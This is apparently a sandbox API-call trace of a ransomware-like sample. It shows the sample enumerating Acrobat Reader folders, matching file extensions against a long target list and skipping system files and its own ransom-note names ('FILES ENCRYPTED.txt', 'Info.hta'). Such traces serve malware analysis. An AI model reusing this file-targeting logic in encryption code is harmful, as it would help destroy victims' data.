	[0171.079] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\*", lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140c18
	[0171.089] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0171.089] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2024, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0171.089] lstrlenW (lpString="ui-strings.js") returned 13
	[0171.089] lstrlenW (lpString=".1cd") returned 4
	[0171.089] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0171.089] lstrlenW (lpString=".3ds") returned 4
	[0171.089] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0171.089] lstrlenW (lpString=".3fr") returned 4
	[0171.089] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0171.089] lstrlenW (lpString=".3g2") returned 4
	[0171.089] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0171.089] lstrlenW (lpString=".3gp") returned 4
	[0171.089] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0171.090] lstrlenW (lpString=".7z") returned 3
	[0171.090] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0171.090] lstrlenW (lpString=".accda") returned 6
	[0171.090] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0171.090] lstrlenW (lpString=".accdb") returned 6
	[0171.090] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0171.090] lstrlenW (lpString=".accdc") returned 6
	[0171.090] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0171.090] lstrlenW (lpString=".accde") returned 6
	[0171.090] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0171.090] lstrlenW (lpString=".accdt") returned 6
	[0171.090] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0171.090] lstrlenW (lpString=".accdw") returned 6
	[0171.090] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0171.090] lstrlenW (lpString=".adb") returned 4
	[0171.090] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0171.090] lstrlenW (lpString=".adp") returned 4
	[0171.090] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0171.090] lstrlenW (lpString=".ai") returned 3
	[0171.090] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0171.090] lstrlenW (lpString=".ai3") returned 4
	[0171.090] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0171.090] lstrlenW (lpString=".ai4") returned 4
	[0171.090] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0171.090] lstrlenW (lpString=".ai5") returned 4
	[0171.090] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0171.090] lstrlenW (lpString=".ai6") returned 4
	[0171.090] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0171.090] lstrlenW (lpString=".ai7") returned 4
	[0171.090] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0171.090] lstrlenW (lpString=".ai8") returned 4
	[0171.090] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0171.090] lstrlenW (lpString=".anim") returned 5
	[0171.090] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0171.090] lstrlenW (lpString=".arw") returned 4
	[0171.090] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0171.090] lstrlenW (lpString=".as") returned 3
	[0171.091] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0171.091] lstrlenW (lpString=".asa") returned 4
	[0171.091] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0171.091] lstrlenW (lpString=".asc") returned 4
	[0171.091] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0171.091] lstrlenW (lpString=".ascx") returned 5
	[0171.091] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0171.091] lstrlenW (lpString=".asm") returned 4
	[0171.091] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0171.091] lstrlenW (lpString=".asmx") returned 5
	[0171.091] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0171.091] lstrlenW (lpString=".asp") returned 4
	[0171.091] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0171.091] lstrlenW (lpString=".aspx") returned 5
	[0171.091] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0171.091] lstrlenW (lpString=".asr") returned 4
	[0171.091] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0171.091] lstrlenW (lpString=".asx") returned 4
	[0171.091] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0171.091] lstrlenW (lpString=".avi") returned 4
	[0171.091] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0171.091] lstrlenW (lpString=".avs") returned 4
	[0171.091] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0171.091] lstrlenW (lpString=".backup") returned 7
	[0171.091] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0171.091] lstrlenW (lpString=".bak") returned 4
	[0171.091] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0171.091] lstrlenW (lpString=".bay") returned 4
	[0171.091] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0171.091] lstrlenW (lpString=".bd") returned 3
	[0171.091] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0171.091] lstrlenW (lpString=".bin") returned 4
	[0171.091] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0171.091] lstrlenW (lpString=".bmp") returned 4
	[0171.091] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0171.091] lstrlenW (lpString=".bz2") returned 4
	[0171.091] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0171.092] lstrlenW (lpString=".c") returned 2
	[0171.092] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0171.092] lstrlenW (lpString=".cdr") returned 4
	[0171.092] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0171.092] lstrlenW (lpString=".cer") returned 4
	[0171.092] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0171.092] lstrlenW (lpString=".cf") returned 3
	[0171.092] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0171.092] lstrlenW (lpString=".cfc") returned 4
	[0171.092] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0171.092] lstrlenW (lpString=".cfm") returned 4
	[0171.092] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0171.092] lstrlenW (lpString=".cfml") returned 5
	[0171.092] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0171.092] lstrlenW (lpString=".cfu") returned 4
	[0171.092] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0171.092] lstrlenW (lpString=".chm") returned 4
	[0171.092] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0171.092] lstrlenW (lpString=".cin") returned 4
	[0171.092] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0171.092] lstrlenW (lpString=".class") returned 6
	[0171.092] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0171.092] lstrlenW (lpString=".clx") returned 4
	[0171.092] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0171.092] lstrlenW (lpString=".config") returned 7
	[0171.092] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0171.092] lstrlenW (lpString=".cpp") returned 4
	[0171.092] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0171.092] lstrlenW (lpString=".cr2") returned 4
	[0171.092] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0171.092] lstrlenW (lpString=".crt") returned 4
	[0171.092] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0171.092] lstrlenW (lpString=".crw") returned 4
	[0171.092] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0171.092] lstrlenW (lpString=".cs") returned 3
	[0171.092] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0171.093] lstrlenW (lpString=".css") returned 4
	[0171.093] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0171.093] lstrlenW (lpString=".csv") returned 4
	[0171.093] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0171.093] lstrlenW (lpString=".cub") returned 4
	[0171.093] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0171.093] lstrlenW (lpString=".dae") returned 4
	[0171.093] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0171.093] lstrlenW (lpString=".dat") returned 4
	[0171.093] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0171.093] lstrlenW (lpString=".db") returned 3
	[0171.093] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0171.093] lstrlenW (lpString=".dbf") returned 4
	[0171.093] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0171.093] lstrlenW (lpString=".dbx") returned 4
	[0171.093] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0171.093] lstrlenW (lpString=".dc3") returned 4
	[0171.093] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0171.093] lstrlenW (lpString=".dcm") returned 4
	[0171.093] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0171.093] lstrlenW (lpString=".dcr") returned 4
	[0171.093] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0171.093] lstrlenW (lpString=".der") returned 4
	[0171.093] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0171.093] lstrlenW (lpString=".dib") returned 4
	[0171.093] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0171.093] lstrlenW (lpString=".dic") returned 4
	[0171.093] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0171.093] lstrlenW (lpString=".dif") returned 4
	[0171.093] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0171.093] lstrlenW (lpString=".divx") returned 5
	[0171.093] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0171.093] lstrlenW (lpString=".djvu") returned 5
	[0171.093] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0171.093] lstrlenW (lpString=".dng") returned 4
	[0171.094] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0171.094] lstrlenW (lpString=".doc") returned 4
	[0171.094] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0171.094] lstrlenW (lpString=".docm") returned 5
	[0171.094] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0171.094] lstrlenW (lpString=".docx") returned 5
	[0171.094] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0171.094] lstrlenW (lpString=".dot") returned 4
	[0171.094] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0171.094] lstrlenW (lpString=".dotm") returned 5
	[0171.094] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0171.094] lstrlenW (lpString=".dotx") returned 5
	[0171.094] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0171.094] lstrlenW (lpString=".dpx") returned 4
	[0171.094] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0171.094] lstrlenW (lpString=".dqy") returned 4
	[0171.094] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0171.094] lstrlenW (lpString=".dsn") returned 4
	[0171.094] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0171.094] lstrlenW (lpString=".dt") returned 3
	[0171.094] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0171.094] lstrlenW (lpString=".dtd") returned 4
	[0171.094] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0171.094] lstrlenW (lpString=".dwg") returned 4
	[0171.094] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0171.094] lstrlenW (lpString=".dwt") returned 4
	[0171.094] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0171.094] lstrlenW (lpString=".dx") returned 3
	[0171.094] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0171.094] lstrlenW (lpString=".dxf") returned 4
	[0171.094] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0171.094] lstrlenW (lpString=".edml") returned 5
	[0171.094] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0171.094] lstrlenW (lpString=".efd") returned 4
	[0171.094] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0171.094] lstrlenW (lpString=".elf") returned 4
	[0171.094] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0171.095] lstrlenW (lpString=".emf") returned 4
	[0171.095] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0171.095] lstrlenW (lpString=".emz") returned 4
	[0171.095] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0171.095] lstrlenW (lpString=".epf") returned 4
	[0171.095] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1
	[0171.095] lstrlenW (lpString=".eps") returned 4
	[0171.095] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1
	[0171.095] lstrlenW (lpString=".epsf") returned 5
	[0171.095] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1
	[0171.095] lstrlenW (lpString=".epsp") returned 5
	[0171.095] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1
	[0171.095] lstrlenW (lpString=".erf") returned 4
	[0171.095] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1
	[0171.095] lstrlenW (lpString=".exr") returned 4
	[0171.095] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1
	[0171.095] lstrlenW (lpString=".f4v") returned 4
	[0171.095] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1
	[0171.095] lstrlenW (lpString=".fido") returned 5
	[0171.095] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1
	[0171.095] lstrlenW (lpString=".flm") returned 4
	[0171.095] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1
	[0171.095] lstrlenW (lpString=".flv") returned 4
	[0171.095] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1
	[0171.095] lstrlenW (lpString=".frm") returned 4
	[0171.095] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1
	[0171.095] lstrlenW (lpString=".fxg") returned 4
	[0171.095] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1
	[0171.095] lstrlenW (lpString=".geo") returned 4
	[0171.095] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1
	[0171.095] lstrlenW (lpString=".gif") returned 4
	[0171.095] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1
	[0171.095] lstrlenW (lpString=".grs") returned 4
	[0171.095] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1
	[0171.095] lstrlenW (lpString=".gz") returned 3
	[0171.095] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1
	[0171.096] lstrlenW (lpString=".h") returned 2
	[0171.096] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0171.096] lstrlenW (lpString=".hdr") returned 4
	[0171.096] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1
	[0171.096] lstrlenW (lpString=".hpp") returned 4
	[0171.096] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1
	[0171.096] lstrlenW (lpString=".hta") returned 4
	[0171.096] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1
	[0171.096] lstrlenW (lpString=".htc") returned 4
	[0171.096] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1
	[0171.096] lstrlenW (lpString=".htm") returned 4
	[0171.096] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1
	[0171.096] lstrlenW (lpString=".html") returned 5
	[0171.096] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1
	[0171.096] lstrlenW (lpString=".icb") returned 4
	[0171.096] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1
	[0171.096] lstrlenW (lpString=".ics") returned 4
	[0171.096] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1
	[0171.096] lstrlenW (lpString=".iff") returned 4
	[0171.096] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1
	[0171.096] lstrlenW (lpString=".inc") returned 4
	[0171.096] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1
	[0171.096] lstrlenW (lpString=".indd") returned 5
	[0171.096] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1
	[0171.096] lstrlenW (lpString=".ini") returned 4
	[0171.096] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1
	[0171.096] lstrlenW (lpString=".iqy") returned 4
	[0171.096] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1
	[0171.096] lstrlenW (lpString=".j2c") returned 4
	[0171.096] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1
	[0171.096] lstrlenW (lpString=".j2k") returned 4
	[0171.096] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1
	[0171.096] lstrlenW (lpString=".java") returned 5
	[0171.096] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1
	[0171.096] lstrlenW (lpString=".jp2") returned 4
	[0171.096] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1
	[0171.096] lstrlenW (lpString=".jpc") returned 4
	[0171.096] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1
	[0171.097] lstrlenW (lpString=".jpe") returned 4
	[0171.097] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1
	[0171.097] lstrlenW (lpString=".jpeg") returned 5
	[0171.097] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1
	[0171.097] lstrlenW (lpString=".jpf") returned 4
	[0171.097] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1
	[0171.097] lstrlenW (lpString=".jpg") returned 4
	[0171.097] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1
	[0171.097] lstrlenW (lpString=".jpx") returned 4
	[0171.097] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1
	[0171.097] lstrlenW (lpString=".js") returned 3
	[0171.097] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0171.097] lstrlenW (lpString="ui-strings.js") returned 13
	[0171.097] lstrlenW (lpString=".GTF") returned 4
	[0171.097] lstrcmpiW (lpString1=".GTF", lpString2="s.js") returned -1
	[0171.097] lstrlenW (lpString="ui-strings.js") returned 13
	[0171.097] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1
	[0171.097] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1
	[0171.097] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1
	[0171.097] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1
	[0171.097] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1
	[0171.097] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1
	[0171.097] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1
	[0171.097] lstrcmpiW (lpString1="fvppjh.exe", lpString2="ui-strings.js") returned -1
	[0171.097] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\ui-strings.js") returned 120
	[0171.097] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2024, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0
	[0171.097] FindClose (in: hFindFile=0x4140c18 | out: hFindFile=0x4140c18) returned 1
	[0171.098] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.098] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0171.098] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es") returned 106
	[0171.098] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es") returned 1
	[0171.098] lstrlenW (lpString="eu-es") returned 5
	[0171.098] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="eu-es") returned -1
	[0171.098] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4210458
	[0171.098] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es") returned 106
	[0171.098] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\*", lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140c18
	[0171.098] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0171.098] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0171.099] lstrlenW (lpString="ui-strings.js") returned 13
	[0171.099] lstrlenW (lpString=".1cd") returned 4
	[0171.099] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0171.099] lstrlenW (lpString=".3ds") returned 4
	[0171.099] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0171.100] lstrlenW (lpString=".3fr") returned 4
	[0171.100] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0171.100] lstrlenW (lpString=".3g2") returned 4
	[0171.100] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0171.100] lstrlenW (lpString=".3gp") returned 4
	[0171.100] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0171.100] lstrlenW (lpString=".7z") returned 3
	[0171.100] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0171.101] lstrlenW (lpString=".accda") returned 6
	[0171.101] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0171.101] lstrlenW (lpString=".accdb") returned 6
	[0171.101] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0171.101] lstrlenW (lpString=".accdc") returned 6
	[0171.101] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0171.101] lstrlenW (lpString=".accde") returned 6
	[0171.101] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0171.101] lstrlenW (lpString=".accdt") returned 6
	[0171.101] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0171.101] lstrlenW (lpString=".accdw") returned 6
	[0171.101] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0171.101] lstrlenW (lpString=".adb") returned 4
	[0171.102] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0171.102] lstrlenW (lpString=".adp") returned 4
	[0171.102] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0171.102] lstrlenW (lpString=".ai") returned 3
	[0171.102] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0171.102] lstrlenW (lpString=".ai3") returned 4
	[0171.102] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0171.102] lstrlenW (lpString=".ai4") returned 4
	[0171.102] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0171.102] lstrlenW (lpString=".ai5") returned 4
	[0171.102] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0171.102] lstrlenW (lpString=".ai6") returned 4
	[0171.102] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0171.102] lstrlenW (lpString=".ai7") returned 4
	[0171.102] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0171.102] lstrlenW (lpString=".ai8") returned 4
	[0171.102] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0171.102] lstrlenW (lpString=".anim") returned 5
	[0171.102] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0171.102] lstrlenW (lpString=".arw") returned 4
	[0171.102] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0171.102] lstrlenW (lpString=".as") returned 3
	[0171.102] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0171.102] lstrlenW (lpString=".asa") returned 4
	[0171.102] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0171.102] lstrlenW (lpString=".asc") returned 4
	[0171.102] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0171.102] lstrlenW (lpString=".ascx") returned 5
